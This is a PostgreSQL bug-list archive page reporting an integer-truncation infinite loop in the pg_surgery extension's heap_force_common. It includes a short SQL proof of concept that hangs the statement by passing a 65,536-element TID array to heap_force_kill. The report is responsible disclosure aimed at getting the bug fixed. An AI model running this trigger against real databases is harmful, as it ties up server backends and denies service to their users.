| From: | PG Bug reporting form <noreply(at)postgresql(dot)org> |
|---|---|
| To: | pgsql-bugs(at)lists(dot)postgresql(dot)org |
| Cc: | 1217816127(at)qq(dot)com |
| Subject: | BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common` |
| Date: | 2026-08-03 08:40:59 |
| Message-ID: | 19607-2f256a66481c514b@postgresql.org |
| Views: | Whole Thread | Raw Message | Download mbox | Resend email |
| Thread: | |
| Lists: | pgsql-bugs |
The following bug has been logged on the website:
Bug reference: 19607
Logged by: Yuelin Wang
Email address: 1217816127(at)qq(dot)com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
In `contrib/pg_surgery/heap_surgery.c`, a huge TID array can truncate an
index into `OffsetNumber`. The loop no longer reaches its end condition and
the statement keeps running until cancellation. This is a SQL reachable
denial of service when `pg_surgery` is installed.
### PoC
SQL script:
```sql
CREATE EXTENSION IF NOT EXISTS pg_surgery;
CREATE TABLE vuln_surgery_loop(a int);
INSERT INTO vuln_surgery_loop
SELECT g FROM generate_series(1, 300) AS g;
SET statement_timeout = '15s';
SELECT heap_force_kill(
'vuln_surgery_loop'::regclass,
ARRAY(
SELECT '(0,1)'::tid
FROM generate_series(1, 65536)
)
);
RESET statement_timeout;
```
### Result
The call remains active until `statement_timeout`. A finite array pass of
this size should complete quickly, so the timeout confirms the integer
truncation induced infinite loop.
| From | Date | Subject | |
|---|---|---|---|
| Next Message | PG Bug reporting form | 2026-08-03 09:54:17 | BUG #19608: Error while Reindexing Main Table |
| Previous Message | PG Bug reporting form | 2026-08-03 08:22:20 | BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash |